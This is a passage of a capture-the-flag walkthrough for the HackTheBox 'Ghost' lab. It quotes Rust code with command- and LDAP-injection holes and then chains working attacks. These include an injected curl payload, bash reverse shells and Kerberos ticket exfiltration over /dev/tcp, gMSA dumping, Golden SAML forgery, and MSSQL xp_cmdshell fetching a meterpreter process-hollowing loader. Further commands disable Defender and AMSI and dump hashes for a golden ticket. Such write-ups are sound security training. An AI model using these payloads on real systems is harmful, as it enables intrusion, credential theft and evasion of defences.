DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe; note it for later. After searching through configuration files and SSH keys for a while without finding anything, I decided to move on to the next repository.</p><h4>2. Intranet</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*muC132PxyTBtfYZQ9b1sWA.png" /></figure><p>After some searching within the application files, I found two promising files, and the third file contained the vulnerable login function for LDAP injection we exploited earlier.</p><p><strong>The first file:</strong> handled the logic for requests related to the new feature.</p><pre>use rocket::http::Status;<br>use rocket::Request;<br>use rocket::request::{FromRequest, Outcome};<br><br>pub(crate) mod scan;<br><br>pub struct DevGuard;<br><br>#[rocket::async_trait]<br>impl&lt;&#39;r&gt; FromRequest&lt;&#39;r&gt; for DevGuard {<br>    type Error = ();<br><br>    async fn from_request(request: &amp;&#39;r Request&lt;&#39;_&gt;) -&gt; Outcome&lt;Self, Self::Error&gt; {<br>        let key = request.headers().get_one(&quot;X-DEV-INTRANET-KEY&quot;);<br>        match key {<br>            Some(key) =&gt; {<br>                if key == std::env::var(&quot;DEV_INTRANET_KEY&quot;).unwrap() {<br>                    Outcome::Success(DevGuard {})<br>                } else {<br>                    Outcome::Error((Status::Unauthorized, ()))<br>                }<br>            },<br>            None =&gt; Outcome::Error((Status::Unauthorized, ()))<br>        }<br>    }<br>}</pre><p><a href="http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev.rs">http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev.rs</a></p><p>This function checks whether the request contains a valid developer key in the X-DEV-INTRANET-KEY header. If the key matches the value stored in the environment variable DEV_INTRANET_KEY, the request is allowed; otherwise, it is rejected with an Unauthorized HTTP status.</p><p>Recalling the DEV_INTRANET_KEY obtained earlier from the LFI on the Ghost main app, we can use it here for authentication.</p><p><strong>The second file:</strong> contains a handler function for a POST request at the /scan route, which processes a request containing a URL, runs a command to check if the URL is safe, and returns the result.</p><pre>use std::process::Command;<br><br>use rocket::serde::json::Json;<br>use rocket::serde::Serialize;<br>use serde::Deserialize;<br><br>use crate::api::dev::DevGuard;<br><br>#[derive(Deserialize)]<br>pub struct ScanRequest {<br>    url: String,<br>}<br><br>#[derive(Serialize)]<br>pub struct ScanResponse {<br>    is_safe: bool,<br>    // remove the following once the route is stable<br>    temp_command_success: bool,<br>    temp_command_stdout: String,<br>    temp_command_stderr: String,<br>}<br><br>// Scans an url inside a blog post<br>// This will be called by the blog to ensure all URLs in posts are safe<br>#[post(&quot;/scan&quot;, format = &quot;json&quot;, data = &quot;&lt;data&gt;&quot;)]<br>pub fn scan(_guard: DevGuard, data: Json&lt;ScanRequest&gt;) -&gt; Json&lt;ScanResponse&gt; {<br>    // currently intranet_url_check is not implemented,<br>    // but the route exists for future compatibility with the blog<br>    let result = Command::new(&quot;bash&quot;)<br>        .arg(&quot;-c&quot;)<br>        .arg(format!(&quot;intranet_url_check {}&quot;, data.url))<br>        .output();<br><br>    match result {<br>        Ok(output) =&gt; {<br>            Json(ScanResponse {<br>                is_safe: true,<br>                temp_command_success: true,<br>                temp_command_stdout: String::from_utf8(output.stdout).unwrap_or(&quot;&quot;.to_string()),<br>                temp_command_stderr: String::from_utf8(output.stderr).unwrap_or(&quot;&quot;.to_string()),<br>            })<br>        }<br>        Err(_) =&gt; Json(ScanResponse {<br>            is_safe: true,<br>            temp_command_success: false,<br>            temp_command_stdout: &quot;&quot;.to_string(),<br>            temp_command_stderr: &quot;&quot;.to_string(),<br>        })<br>    }<br>}</pre><p><a href="http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev/scan.rs">http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev/scan.rs</a></p><p>The vulnerability here lies in the use of Command::new(&quot;bash&quot;) with user input in the argument taken from data.url in the ScanRequest, directly inserting it into the bash command using format!(&quot;intranet_url_check {}&quot;, data.url) without any sanitization or escaping. By exploiting this, we can execute system-level commands.</p><pre> let result = Command::new(&quot;bash&quot;)<br>        .arg(&quot;-c&quot;)<br>        .arg(format!(&quot;intranet_url_check {}&quot;, data.url))<br>        .output();</pre><p><strong>The third file:</strong> contains the function responsible for the LDAP injection we performed earlier.</p><pre>use ldap3::{Scope, SearchEntry};<br>use rocket::http::{Cookie, CookieJar};<br>use rocket::serde::json::Json;<br>use time::{Duration, OffsetDateTime};<br><br>use crate::api::{ldap_error, route_error, RouteErrorRocket, RouteErrorType, LoginRequest, UserClaim};<br>use crate::api::ldap::ldap_bind;<br><br>async fn ldap_connect(username: &amp;String, secret: &amp;String) -&gt; anyhow::Result&lt;String, RouteErrorRocket&gt; {<br>    let mut ldap = ldap_bind().await?;<br><br>    let dn = &quot;CN=Users,DC=ghost,DC=htb&quot;;<br>    let (mut rs, _res) = ldap<br>        .search(<br>            &amp;dn,<br>            Scope::Subtree,<br>            &amp;format!(&quot;(&amp;(displayName={})(intranetSecret={}))&quot;, username, secret),<br>            vec![&quot;intranetSecret&quot;, &quot;sAMAccountName&quot;],<br>        )<br>        .await.or(Err(route_error(RouteErrorType::Unknown)))?<br>        .success().or_else(ldap_error)?;<br><br>    ldap.unbind().await.ok();<br><br>    if rs.is_empty() {<br>        return Err(route_error(RouteErrorType::NotFound));<br>    }<br><br>    let entry = SearchEntry::construct(rs.remove(0));<br>    match entry.attrs.get(&quot;sAMAccountName&quot;) {<br>        Some(values) =&gt; match values.get(0) {<br>            Some(username) =&gt; Ok(username.clone()),<br>            None =&gt; Err(route_error(RouteErrorType::Unknown))<br>        }<br>        None =&gt; Err(route_error(RouteErrorType::Unknown))<br>    }<br>}<br><br>#[post(&quot;/login&quot;, data = &quot;&lt;body&gt;&quot;)]<br>pub async fn login(body: Json&lt;LoginRequest&gt;, cookies: &amp;CookieJar&lt;&#39;_&gt;) -&gt; anyhow::Result&lt;(), RouteErrorRocket&gt; {<br>    let username = ldap_connect(&amp;body.ldap_username, &amp;body.ldap_secret).await?;<br>    let claim = UserClaim::sign(UserClaim {<br>        username: username.to_string(),<br>    });<br><br>    let mut cookie = Cookie::new(&quot;token&quot;, format!(&quot;Bearer {}&quot;, claim));<br>    let mut now = OffsetDateTime::now_utc();<br>    now += Duration::days(1);<br>    cookie.set_expires(now);<br><br>    cookies.add(cookie);<br><br>    Ok(())<br>}</pre><p><a href="http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/login.rs">http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/login.rs</a></p><p>The lack of input sanitization in the ldap_connect function, specifically in how the username and secret are used in the LDAP search query, allows us to manipulate the username or secret values. The code builds the LDAP search query using string formatting, directly embedding the username and secret variables:</p><pre>&amp;format!(&quot;(&amp;(displayName={})(intranetSecret={}))&quot;, username, secret)</pre><p>This allowed us to inject arbitrary LDAP filter syntax, bypass authentication, and perform unauthorized queries.</p><h3>Initial Access</h3><h4><strong>Crafting our Payload</strong></h4><ul><li><strong>Target API URL:</strong> <a href="http://intranet.ghost.htb/api-dev">http://intranet.ghost.htb/api-dev</a></li><li><strong>Vulnerable Route:</strong> /scan</li><li><strong>Authentication:</strong> Requires the header X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe</li><li><strong>Format:</strong> The API expects input in JSON format within the url variable:</li></ul><pre>{<br>  &quot;url&quot;: &quot;http://test.com&quot;<br>}</pre><p>To execute commands, we can pass the URL as expected and append ; or | followed by our command:</p><pre>{<br>  &quot;url&quot;: &quot;http://test.com&quot;; whoami<br>}</pre><p>Final Payload would be like this</p><pre>curl -s -X POST http://intranet.ghost.htb:8008/api-dev/scan \<br>  -H &#39;X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;url&quot;:&quot;https://test.com; whoami&quot;}&#39; | jq -r &#39;.temp_command_stdout&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ty1EGKdaVNVMy4fGESRw5g.png" /></figure><p>Our command executes successfully, confirming that the application is running as <strong>root</strong>.</p><h4><strong>Getting a Shell as Root:</strong></h4><ol><li>Start a listener rlwrap -cAr nc -lvnp 4444 -s 0.0.0.0</li><li>Run our reverse shell command</li></ol><pre>curl -s -X POST http://intranet.ghost.htb:8008/api-dev/scan  -H &#39;X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe&#39; -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;url&quot;:&quot;https://test.com | bash -i &gt;&amp; /dev/tcp/10.10.16.44/4444 0&gt;&amp;1 &quot;}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C3xETi55aEvGE20UBWAwZg.png" /></figure><p>From the first sight of the hostname, it seems to be a container. .dockerenv ensures our thoughts and docker-entrypoint.sh is the entry point that start when running the container</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*ZUiMbEfe37cbDWStf87jVg.png" /></figure><p>Checking the entrypoint script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ClBG-Mc0BxUKNpPb6GGpeg.png" /></figure><p>Nothing important just writes an SSH configuration to /root/.ssh/config then execute the ghost_intranet binary</p><p>Checking for SSH keys, i Found an ssh key for florence.ramirez@ghost.htb on workstation <strong>dev-workstation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*xwJlfZq3Iosy83D_zY8o_w.png" /></figure><p>There were no external port open for ssh so i would use it locally</p><pre>ssh -i florence.ramirez@ghost.htb@dev-workstation:22 florence.ramirez@ghost.htb@dev-workstation</pre><p>This Pseudo-terminal warning typically appears when you’re not running the SSH command interactively</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*COjYBchMxkhkE5n2bKpkiQ.png" /></figure><p>get a reverse shell from this stdin</p><pre># local host<br>rlwrap -cAr nc -lvnp 4444 -s 0.0.0.0<br># non interactive ssh<br>bash -i &gt;&amp; /dev/tcp/10.10.16.44/4444 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*thwpUwT3DRRv6x4sqCZeHw.png" /></figure><p>Looks like a container once more with ID LINUX-DEV-WS01 there are a lot methods to check that, but we can run Linpeas directly to automate the enumeration process</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MLyXqsOmc0dM7KXBRufblQ.png" /></figure><p>To run linpeas</p><pre># host <br>nc -nlvp 4444 &lt; linpeas.sh<br># target shell <br>cat &lt; /dev/tcp/host_ip/4444 | bash </pre><p>There are a few things I check first in linPEAS results before reading the whole report: the hosts file, network interfaces, local open ports, databases, and configuration files. However, since we are in a container, there isn’t much data to analyze.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQabw8VxpR9FrWuebepsUw.png" /></figure><p>The environment variable KRB5CCNAME indicates an active Kerberos ticket cache stored at /tmp/krb5cc_50, Use klist to check for active Kerberos tickets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*wokxw1tGokHQYL1U6zt7Dg.png" /></figure><p>krb5.conf is also configured for Kerberos authentication, confirming our previous findings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*yenhkIUkSLEKqo5IL-lJpg.png" /></figure><p>I’ll transfer this ticket to use it for Kerberos authentication on the domain and start the real work since this is already a Windows machine.</p><pre># host <br>nc -nlvp 80 &gt; krb5cc_50<br># target session<br>cat /tmp/krb5cc_50 &gt; /dev/tcp/10.10.16.44/80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*o-To9ewoF53USkibH-aDQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPnDtXGV46SVgKd8i2lV2A.png" /></figure><p>To confirm the ticket didn’t change during the transfer, check the checksum of both the original ticket on the target machine and the transferred one.</p><p>On our local host, export the ticket to use it for authentication:</p><pre>export KRB5CCNAME=/home/zyad/htb/ghost/krb5cc_50</pre><p>Then validate it by authenticating to the domain. I’ll use <a href="https://github.com/Pennyw0rth/NetExec">netexec</a> for this.</p><pre>nxc ldap 10.10.11.24 -u florence.ramirez -k --use-kcache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*INfjYkiQHPD-E7iscYiIdA.png" /></figure><p>Before, we couldn’t do DNS spoofing because we didn’t have any domain user credentials. But now that we can authenticate to the domain, we can use that access to perform DNS spoofing.</p><ol><li>Setup listener<br>sudo responder -I tun0</li><li>Add a DNS record</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fbM2E1F7WeveC8PzZMHRgA.png" /></figure><p>There was an error while running the command. One of the first things I check when dealing with Kerberos is time synchronization since a large time difference can cause authentication issues. Additionally, I make sure to configure krb5.conf properly and always use the FQDN instead of just the domain name when working with Kerberos.</p><p>I’ve been working on my own kit to manage all these processes and more when dealing with Kerberos, but I haven’t finished it yet to publish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iV5bow--EYI3OfHVgaqTCg.png" /></figure><p>You can use these commands to do that for time synchronization</p><pre>sudo ntpdate -u dc01.ghost.htb</pre><p>And modify /etc/krb5.conf, adding this:</p><pre>[libdefaults]<br>    default_realm = GHOST.HTB<br><br>[realms]<br>    GHOST.HTB = {<br>        kdc = dc01.ghost.htb<br>        admin_server = dc01.ghost.htb<br>    }<br><br>[domain_realm]<br>    ghost.htb = GHOST.HTB<br>    .ghost.htb = GHOST.HTB<br><br></pre><p>After that repeat the command, considering using the FQDN</p><pre>python3 dnstool.py -u GHOST.HTB\\florence.ramirez dc01.ghost.htb -r bitbucket.ghost.htb -a add -d 10.10.16.44 -dns-ip 10.10.11.24 -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fzM8UPoesN-nlYcqFzds4w.png" /></figure><p>We were able to capture Justin Bradley’s hash. I already explained why this happened earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*orDr3DxrWsnkp2PjVg7hTA.png" /></figure><p>Copy the hash to a file and run Hashcat in autodetect mode</p><pre>hashcat hash /usr/share/wordlists/rockyou.txt  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwOMdkgneJiJzAfL_sTzdw.png" /></figure><p>We have a new user with credentials — time to get to work!</p><p>I made a simple script to loop over all the services I need while spraying password, since nxc only enables using one service at a time with <a href="https://github.com/Zyad-Elsayed/nxc_bruter.git">nxc_bruter</a> it helped with pro labs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jFZ7W9Lm0_1kfGmeUK00TA.png" /></figure><p>We have winrm access to the domain as justin.bradley we can use evil-winrm for that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xJ5kiyaSEpQm_RUYnfq0qQ.png" /></figure><p>At this step, I prefer to dump domain data for visualization in BloodHound.</p><pre>bloodhound-python -d ghost.htb -u &#39;justin.bradley&#39; -p &#39;Qwertyuiop1234$$&#39; -ns 10.10.11.24 -c all --zip --dns-tcp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RkUqyJGJS4yzJ_nXtd2MNw.png" /></figure><p>Import data into bloodhound, then mark florence.ramirez,justin.bradley as owned. Looking at the OUTBOUND OBJECT CONTROL of each owned user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*Lxe1i6wM3TivHDcgsOlupA.png" /></figure><p>justin.bradley can read the GMSA Password of ADFS_GMSA$</p><p>GMSA Group Managed Service Account; A special type of service account that allows automatic password management and delegation without manual intervention. The password is securely stored and can only be retrieved by authorized users or systems, such as <strong>justin.bradley</strong> in this case.</p><p>Use any tool to retrieve the account hash, such as <strong>nxc, gMSADumper, or BloodyAD</strong>.</p><pre>nxc ldap ghost.htb -u &#39;justin.bradley&#39; -p &#39;Qwertyuiop1234$$&#39; --gmsa </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E0UJ6bNUtgGJIOI2A75GoQ.png" /></figure><p>Or using bloodyAD</p><pre>bloodyAD -d ghost.htb -u justin.bradley  -p &#39;Qwertyuiop1234$$&#39; --host 10.10.11.24  get object &#39;ADFS_GMSA$&#39; --attr msDS-ManagedPassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8N0EDLGUzGjgjWgsuw7-RA.png" /></figure><p>We have the NTLM hash of the <strong>ADFS_GMSA$</strong> service account, which isn’t just a general GMSA account — it’s specifically related to <strong>ADFS</strong>. As we mentioned before, ADFS is used in <strong>SSO authentication systems</strong>, where multiple domains or services authenticate users via a centralized identity provider.</p><p>With this, we might be able to perform a <strong>Golden SAML attack</strong> for <strong>ADFS token forgery</strong>. This allows us to <strong>sign SAML tokens as ADFS</strong>, granting access to any <strong>SAML-integrated applications</strong>, such as web apps used in the environment.</p><p>But first, I would test <strong>Justin Bradley’s</strong> credentials on <strong>ADFS</strong> to check for any direct access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZC8Anf2PF08MyxxlsOIOHA.png" /></figure><p>It’s time to <strong>forge a SAML token as </strong><strong>Administrator</strong>, leveraging our <strong>ADFS_GMSA$ hash</strong> for a <strong>Golden SAML attack</strong>.</p><p>Since <strong>ADFS_GMSA$</strong> is a member of <strong>REMOTE MANAGEMENT USERS</strong>, we can use <strong>Evil-WinRM</strong> to access the machine and dump the <strong>private key</strong> that signs the <strong>SAML tokens</strong>.</p><pre>evil-winrm -i 10.10.11.24 -u &#39;adfs_gmsa$&#39; -H 0bef79ae4d25b1864570212e33922d14</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X1QcSgL3U46qgjvuRPJ05A.png" /></figure><p>Download <a href="https://github.com/mandiant/ADFSDump">ADFSDump</a> from source and compile it or use pre-compiled one <a href="https://github.com/jakobfriedl/precompiled-binaries/raw/main/LateralMovement/ADFSDump.exe">ADFSDump.exe</a> from <a href="https://github.com/jakobfriedl/precompiled-binaries">precompiled-binaries</a>, then upload it to the machine.</p><p><strong>We need to obtain the following:</strong></p><ol><li>The <strong>certificate used for token signing</strong> along with its <strong>private key</strong></li><li>The <strong>Distributed Key Manager (DKM) secret</strong> stored in Active Directory</li><li>The <strong>configured service providers</strong> that rely on <strong>AD FS for authentication</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZoTsY4voUagRxk88k6Efdg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7MJzEKLlDb76gvCkqJJo_w.png" /></figure><ol><li>Download and Set Up <a href="https://github.com/mandiant/ADFSpoof">ADFSpoof</a></li></ol><pre>git clone https://github.com/mandiant/ADFSpoof.git &amp;&amp; cd ADFSpoof<br>python3 -m venv .<br>bin/python3 -m pip install six cryptography==3.3.2 pyasn1 lxml signxml</pre><p>2. Prepare the Private Key and Token for the Tool</p><pre># Private key <br>echo &#39;8D-AC-A4-90-70-2B-3F-D6-08-D5.....&#39; | tr -d &quot;-&quot; | xxd -r -p &gt; key.bin<br># Token<br>echo &#39;AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFl.....&#39; | base64 -d &gt; token.bin</pre><p>3. Forge the Golden SAML token</p><p>Based on both of these articles <a href="https://github.com/mandiant/ADFSpoof?tab=readme-ov-file#generate-a-saml-20-token-for-some-app">generate-a-saml-20-token-for-some-app</a> and <a href="https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adfs-federation-services/#adfs-golden-saml">adfs-golden-saml</a> we would craft our payload as following</p><pre>bin/python3 ADFSpoof.py -b token.bin key.bin -s &#39;core.ghost.htb&#39; saml2 \<br>--endpoint &#39;https://core.ghost.htb:8443/adfs/saml/postResponse&#39; \<br>--nameidformat &#39;urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress&#39; \<br>--nameid &#39;Administrator@ghost.htb&#39; \<br>--rpidentifier &#39;https://core.ghost.htb:8443&#39; \<br>--assertions &#39;&lt;Attribute Name=&quot;http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn&quot;&gt;&lt;AttributeValue&gt;Administrator@ghost.htb&lt;/AttributeValue&gt;&lt;/Attribute&gt;&lt;Attribute Name=&quot;http://schemas.xmlsoap.org/claims/CommonName&quot;&gt;&lt;AttributeValue&gt;Administrator&lt;/AttributeValue&gt;&lt;/Attribute&gt;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZNqmbY0P1V3H_2xxIVa6pg.png" /></figure><p>4. Go Back to the core page and login using AD Federation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mxVjPR_lzVuS3AT2e2YDCg.png" /><figcaption><a href="https://ghost.htb:8443/login">https://ghost.htb:8443/login</a></figcaption></figure><p>Then intercept request, until the final one with SAMLResponse=, replace the body with our forged token from the ADFSpoof</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*voWQHhm1ScjpN64rFgWTnA.png" /></figure><p>Finally we have access to Ghost Config Panel, An MSSQL database query Debugger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*R8RHmN73TOucJqc_EPkZkQ.png" /></figure><h4>Enumeration</h4><p>Run a quick enumeration to check the SQL Server instance and linked servers: <br>SELECT @@version</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z1AmoEuwCApYMraNVaVcfw.png" /></figure><p>SELECT @@SERVERNAME</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*pf0wOtSDe15WjprS5qizhQ.png" /></figure><p><strong>To check the linked servers </strong><strong>EXEC sp_linkedservers;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8LqEF2m9xlJQmz_WmTOv0Q.png" /></figure><p>In this case, DC01 is the current SQL Server instance, and the linked server is labeled PRIMARY. We can execute queries on the linked server as follows:</p><pre> EXECUTE (&#39;query&#39;) AT [PRIMARY];</pre><p><strong>To check the permissions granted to the current user on the linked server:</strong></p><pre>EXECUTE (&#39;<br>SELECT permission_name, state_desc <br>FROM sys.database_permissions <br>WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID(USER);<br>&#39;) AT [PRIMARY];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*oGDvmuDPl1XYcPAFluUiOg.png" /></figure><p>The current user has only been granted CONNECT permission.</p><p><strong>Checking Impersonation Rights</strong></p><pre>EXECUTE (&#39;<br>SELECT &#39;&#39;LOGIN&#39;&#39; as &#39;&#39;execute as&#39;&#39;, &#39;&#39;&#39;&#39; AS &#39;&#39;database&#39;&#39;, <br>pe.permission_name, pe.state_desc, pr.name AS &#39;&#39;grantee&#39;&#39;, pr2.name AS &#39;&#39;grantor&#39;&#39; <br>FROM sys.server_permissions pe <br>JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_Id <br>JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id <br>WHERE pe.type = &#39;&#39;IM&#39;&#39;<br>&#39;) AT [PRIMARY];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*o2vPL_I2RmBhwO4OmYQuUg.png" /></figure><p>We find that the current user can impersonate SA. The SA account belongs to the sysadmin fixed server role, which grants full control over the SQL Server instance, including all databases, configurations, and system-level operations. The SA account is created during SQL Server installation.</p><p><strong>We now impersonate </strong><strong>SA and enable the </strong><strong>xp_cmdshell extended stored procedure to run commands:</strong></p><pre>EXECUTE (<br>    &#39;EXECUTE AS LOGIN = &#39;&#39;sa&#39;&#39;; <br>     EXEC SP_CONFIGURE &#39;&#39;show advanced options&#39;&#39;, 1; <br>     RECONFIGURE; <br>     EXEC SP_CONFIGURE &#39;&#39;xp_cmdshell&#39;&#39;, 1; <br>     RECONFIGURE; <br>     EXEC xp_cmdshell &#39;&#39;whoami&#39;&#39;&#39;<br>) AT [PRIMARY];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*JCSqxnkP-0R3RDUj90yb5Q.png" /></figure><p>The commands run as the NT SERVICE\MSSQLSERVER account. Now, we can establishing a reverse shell as this service account.</p><p>using the <a href="https://gist.githubusercontent.com/qtc-de/1ecc57264c8270f869614ddd12f2f276/raw/c5810a377af12b21629f25cd60b2e9c42713b8e8/DynWin32-ShellcodeProcessHollowing.ps1">DynWin32-ShellcodeProcessHollowing.ps1</a> PowerShell script, which performs shellcode-based process hollowing. This technique uses dynamically looked-up Win32 API calls to evade antivirus detection.</p><h4>Preparing our shell script</h4><ol><li><strong>Generate Shellcode</strong></li></ol><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=You_IP LPORT=4444 -f psh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IpWtSq0xQNMw0Ff0XBn6-g.png" /></figure><p>2. <strong>Add Shellcode to Script</strong></p><p>Add the generated shellcode to the $SHELLCODE variable in the <a href="https://gist.githubusercontent.com/qtc-de/1ecc57264c8270f869614ddd12f2f276/raw/c5810a377af12b21629f25cd60b2e9c42713b8e8/DynWin32-ShellcodeProcessHollowing.ps1">DynWin32-ShellcodeProcessHollowing.ps1</a> script.</p><p>3. Start Metasploit Listener</p><pre>msfconsole -x &quot;use exploits/multi/handler; set lhost You_IP; set lport 4444; set payload windows/x64/meterpreter/reverse_tcp; exploit&quot;</pre><p>4. Start a simple HTTP server to serve the shell script:<br>python3 -m http.server 80</p><p>5. Execute Command via MSSQL Server</p><pre>EXECUTE (<br>    &#39;EXECUTE AS LOGIN = &#39;&#39;sa&#39;&#39;; <br>     EXEC SP_CONFIGURE &#39;&#39;show advanced options&#39;&#39;, 1; <br>     RECONFIGURE; <br>     EXEC SP_CONFIGURE &#39;&#39;xp_cmdshell&#39;&#39;, 1; <br>     RECONFIGURE; <br>     EXEC xp_cmdshell &#39;&#39;powershell.exe -c IEX (IWR -UseBasicParsing &quot;http://10.10.16.114:80/shell.ps1&quot;)&#39;&#39;&#39;<br>) AT [PRIMARY];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYQNuZFidE9ScfFyd8YK5Q.png" /></figure><p><strong>Checking account privilege </strong><strong>whoami /priv</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*esoIpSbspdnSVwHcy1CoSg.png" /></figure><h4>Privilege Escalation</h4><p>We have SeImpersonatePrivilege, which allows us to escalate privileges to <strong>SYSTEM</strong> using one of the <strong>Potato exploits</strong>. This can be automated with Metasploit’s getsystem command.</p><p>Once we have SYSTEM access, we can dump the NTLM hashes of the system. This can be automated using Metasploit’s hashdump, which extracts hashes from the <strong>LSASS</strong> process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8SBgwG8GeO8FQO6w4Zv0vw.png" /></figure><p>Now that we have the <strong>NTLM hash of the krbTGT</strong>, we can generate a <strong>Golden Ticket</strong> to impersonate the <strong>Domain Administrator</strong> and gain access to the <strong>Domain Controller (DC)</strong>.</p><p>But there are things to be finish first, Enumerating every Compromised Machine is important</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*5KMZWpvEsTHpQY-_dlTZGg.png" /></figure><p>check system information: systeminfo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23dxNrra2rAtUm9av8P4cA.png" /></figure><p>Our machine is part of the corp.ghost.htb domain, and we need to reach DC01.ghost.htb.</p><p>After compromising a new machine, I always like to <strong>dump new data</strong> for better visualization. Normally, I would upload <strong>SharpHound</strong>, but AV will flag and delete it. To bypass this, we can either <strong>exclude our path</strong> or <strong>disable the antivirus (AV)</strong> entirely.</p><ul><li>Exclude the Current Path from AV Scanning</li></ul><pre>powershell.exe -c &#39;Add-MpPreference -ExclusionPath &quot;C:\Users\Administrator\Desktop&quot;&#39;</pre><ul><li>Disable AV and AMSI</li></ul><pre>Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIOAVProtection $true;Set-MPPreference -DisableBehaviorMonitoring $true;Set-MPPreference -DisableBlockAtFirstSeen $true; Set-MPPreference -DisableEmailScanning $true;Set-MPPReference -DisableScriptScanning $true;Set-MpPreference -DisableIOAVProtection $true;Add-MpPreference -ExclusionPath &quot;C:\Users\Administrator\Desktop&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CTvFPSbENVRsCSE8jRqrXQ.png" /></figure><p>Now, <strong>upload SharpHound</strong> into the <strong>excluded directory</strong>, and it won’t be deleted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZFINNDYCBPvdUxltGpt6Sg.png" /></figure><p>Collect the data, download it, and import it into <strong>BloodHound</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hUaFWfIWiQqZCoDkK_1UEw.png" /></figure><p>Mark PRIMARY as <strong>owned</strong> in BloodHound, and check our privileges. We have <strong>DCSync privileges</strong> over corp.ghost.htb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*fhVAgpwsUNi7aLu6f9WAZA.png" /></figure><p>The <strong>CORP</strong> domain has a <strong>bidirectional trust</strong> with the <strong>main domain</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*VUh7TdaonJlQQgiRJrUBUA.png" /></figure><p>Our PRIMARY machine is a <strong>member of the </strong><strong>ENTERPRISE DOMAIN CONTROLLERS</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uWFM76cNMbN-GnK6zk5tyg.png" /></figure><p>This group has <strong>DS-Replication-Get-Changes</strong> privileges on GHOST.HTB, which allows us to 